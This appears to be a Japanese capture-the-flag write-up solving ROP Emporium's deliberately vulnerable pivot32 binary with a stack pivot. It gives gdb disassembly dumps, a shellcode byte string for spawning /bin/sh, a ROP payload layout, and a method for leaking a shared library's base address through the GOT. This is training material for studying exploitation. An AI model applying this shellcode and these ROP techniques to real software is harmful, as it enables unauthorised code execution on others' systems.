0x0804885f <+109>: call 0x80485b0 <fgets@plt> 0x08048864 <+114>: add esp,0x10 0x08048867 <+117>: sub esp,0xc 0x0804886a <+120>: push 0x8048a0c 0x0804886f <+125>: call 0x80485d0 <puts@plt> 0x08048874 <+130>: add esp,0x10 0x08048877 <+133>: sub esp,0xc 0x0804887a <+136>: push 0x8048a06 0x0804887f <+141>: call 0x8048590 <printf@plt> 0x08048884 <+146>: add esp,0x10 0x08048887 <+149>: mov eax,ds:0x804a060 0x0804888c <+154>: sub esp,0x4 0x0804888f <+157>: push eax 0x08048890 <+158>: push 0x3a 0x08048892 <+160>: lea eax,[ebp-0x28] 0x08048895 <+163>: push eax 0x08048896 <+164>: call 0x80485b0 <fgets@plt> 0x0804889b <+169>: add esp,0x10 0x0804889e <+172>: nop 0x0804889f <+173>: leave 0x080488a0 <+174>: ret End of assembler dump.
1度目のfgetsの前に push DWORD PTR [ebp+0x8]
という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.
2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.
1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804873b <+0>: lea ecx,[esp+0x4] 0x0804873f <+4>: and esp,0xfffffff0 0x08048742 <+7>: push DWORD PTR [ecx-0x4] 0x08048745 <+10>: push ebp 0x08048746 <+11>: mov ebp,esp 0x08048748 <+13>: push ecx 0x08048749 <+14>: sub esp,0x14 0x0804874c <+17>: mov eax,ds:0x804a064 0x08048751 <+22>: push 0x0 0x08048753 <+24>: push 0x2 0x08048755 <+26>: push 0x0 0x08048757 <+28>: push eax 0x08048758 <+29>: call 0x8048610 <setvbuf@plt> 0x0804875d <+34>: add esp,0x10 0x08048760 <+37>: mov eax,ds:0x804a040 0x08048765 <+42>: push 0x0 0x08048767 <+44>: push 0x2 0x08048769 <+46>: push 0x0 0x0804876b <+48>: push eax 0x0804876c <+49>: call 0x8048610 <setvbuf@plt> 0x08048771 <+54>: add esp,0x10 0x08048774 <+57>: sub esp,0xc 0x08048777 <+60>: push 0x8048950 0x0804877c <+65>: call 0x80485d0 <puts@plt> 0x08048781 <+70>: add esp,0x10 0x08048784 <+73>: sub esp,0xc 0x08048787 <+76>: push 0x8048966 0x0804878c <+81>: call 0x80485d0 <puts@plt> 0x08048791 <+86>: add esp,0x10 0x08048794 <+89>: sub esp,0xc 0x08048797 <+92>: push 0x1000000 0x0804879c <+97>: call 0x80485c0 <malloc@plt> 0x080487a1 <+102>: add esp,0x10 0x080487a4 <+105>: mov DWORD PTR [ebp-0xc],eax 0x080487a7 <+108>: mov eax,DWORD PTR [ebp-0xc] 0x080487aa <+111>: add eax,0xffff00 0x080487af <+116>: mov DWORD PTR [ebp-0x10],eax 0x080487b2 <+119>: sub esp,0xc 0x080487b5 <+122>: push DWORD PTR [ebp-0x10] 0x080487b8 <+125>: call 0x80487f2 <pwnme> 0x080487bd <+130>: add esp,0x10 0x080487c0 <+133>: mov DWORD PTR [ebp-0x10],0x0 0x080487c7 <+140>: sub esp,0xc 0x080487ca <+143>: push DWORD PTR [ebp-0xc] 0x080487cd <+146>: call 0x80485a0 <free@plt> 0x080487d2 <+151>: add esp,0x10 0x080487d5 <+154>: sub esp,0xc 0x080487d8 <+157>: push 0x804896e 0x080487dd <+162>: call 0x80485d0 <puts@plt> 0x080487e2 <+167>: add esp,0x10 0x080487e5 <+170>: mov eax,0x0 0x080487ea <+175>: mov ecx,DWORD PTR [ebp-0x4] 0x080487ed <+178>: leave 0x080487ee <+179>: lea esp,[ecx-0x4] 0x080487f1 <+182>: ret End of assembler dump.
pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00
で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.
2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.
$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt
pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ b *0x80488a0 Breakpoint 1 at 0x80488a0 gdb-peda$ run < input.txt .............................................
[----------------------------------registers-----------------------------------] EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>) EBX: 0x0 ECX: 0x0 EDX: 0xf7fa387c --> 0x0 ESI: 0xf7fa2000 --> 0x1b1db0 EDI: 0xf7fa2000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xffffbd2c ('B' <repeats 13 times>) EIP: 0x80488a0 (<pwnme+174>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804889b <pwnme+169>: add esp,0x10 0x804889e <pwnme+172>: nop 0x804889f <pwnme+173>: leave => 0x80488a0 <pwnme+174>: ret 0x80488a1 <uselessFunction>: push ebp 0x80488a2 <uselessFunction+1>: mov ebp,esp 0x80488a4 <uselessFunction+3>: sub esp,0x8 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffbd2c ('B' <repeats 13 times>) 0004| 0xffffbd30 ("BBBBBBBBB") 0008| 0xffffbd34 ("BBBBB") 0012| 0xffffbd38 --> 0x42 ('B') 0016| 0xffffbd3c --> 0x0 0020| 0xffffbd40 --> 0x1 0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32") 0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488a0 in pwnme () gdb-peda$
100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.
このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.
stack pivotとは?
ももテクさんの記事がわかりやすいので引用させて頂くと,
xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が
box1->buf
に移動する。 そしてret命令が実行されると、box1->buf
の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->buf
にデータを入れておけば、そのままそれが実行されていくことになる。このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eax
mov esp,eax
add esp,[some constant]
つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x080488c0 <+0>: pop eax 0x080488c1 <+1>: ret 0x080488c2 <+2>: xchg esp,eax 0x080488c3 <+3>: ret 0x080488c4 <+4>: mov eax,DWORD PTR [eax] 0x080488c6 <+6>: ret 0x080488c7 <+7>: add eax,ebx 0x080488c9 <+9>: ret 0x080488ca <+10>: xchg ax,ax 0x080488cc <+12>: xchg ax,ax 0x080488ce <+14>: xchg ax,ax End of assembler dump.
usefulFunctionも見ておきます.
usefulFunction
gdb-peda$ disas uselessFunction Dump of assembler code for function uselessFunction: 0x080488a1 <+0>: push ebp 0x080488a2 <+1>: mov ebp,esp 0x080488a4 <+3>: sub esp,0x8 0x080488a7 <+6>: call 0x80485f0 <foothold_function@plt> 0x080488ac <+11>: sub esp,0xc 0x080488af <+14>: push 0x1 0x080488b1 <+16>: call 0x80485e0 <exit@plt> End of assembler dump.
foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.
問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.
つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.
payload = "" payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80" # shellcode payload += "\n" payload += "A" * 44 payload += p32(pop_eax) payload += p32(pivot_addr) payload += p32(xchg_esp_eax)
ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.
gdb-peda$ vmmap 0xf7dedf08 Start End Perm Name 0xf6dee000 0xf7df0000 rw-p mapped
rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.
少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.
pedaで見てみます.vmmapというコマンドを使います.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x08049000 0x0804a000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x0804a000 0x0804b000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0xf6dee000 0xf7df0000 rw-p mapped 0xf7df0000 0xf7fa0000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fa0000 0xf7fa2000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa2000 0xf7fa3000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa3000 0xf7fa6000 rw-p mapped 0xf7fd0000 0xf7fd1000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd1000 0xf7fd2000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd2000 0xf7fd3000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd3000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd7000 r--p [vvar] 0xf7fd7000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffb000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 rw-p mapped 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdc000 0xffffe000 rw-p [stack]
0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.
ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.
今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.
- 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
- 2度目のfgetsでBoFさせてstack pivot
- 1度目のfgetsで格納したものが実行されていく
3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.
gdbでやってみると,
$ gdb libpivot32.so i Reading symbols from libpivot32.so...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x000005c0 _init 0x00000600 printf@plt 0x00000610 system@plt 0x00000620 exit@plt 0x00000640 __x86.get_pc_thunk.bx 0x00000650 deregister_tm_clones 0x00000690 register_tm_clones 0x000006e0 __do_global_dtors_aux 0x00000730 frame_dummy 0x0000076c __x86.get_pc_thunk.dx 0x00000770 foothold_function 0x0000079b void_function_01 0x000007c9 void_function_02 0x000007f7 void_function_03 0x00000825 void_function_04 0x00000853 void_function_05 0x00000881 void_function_06 0x000008af void_function_07 0x000008dd void_function_08 0x0000090b void_function_09 0x00000939 void_function_10 0x00000967 ret2win 0x00000995 __x86.get_pc_thunk.ax 0x0000099c _fini
foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.
以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.
exploitは以下のようになります.
exploit
$ python pivot32-exploit.py [+] Starting local process './pivot32': pid 21546 [*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Receiving all data: Done (259B) [*] Process './pivot32' stopped with exit code 0 (pid 21546) @\x85��`\x03���Z��pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08 Send your second chain now and it will land there > Now kindly send your stack smash > ROPE{a_placeholder_32byte_flag!}
最後に
ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.
以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.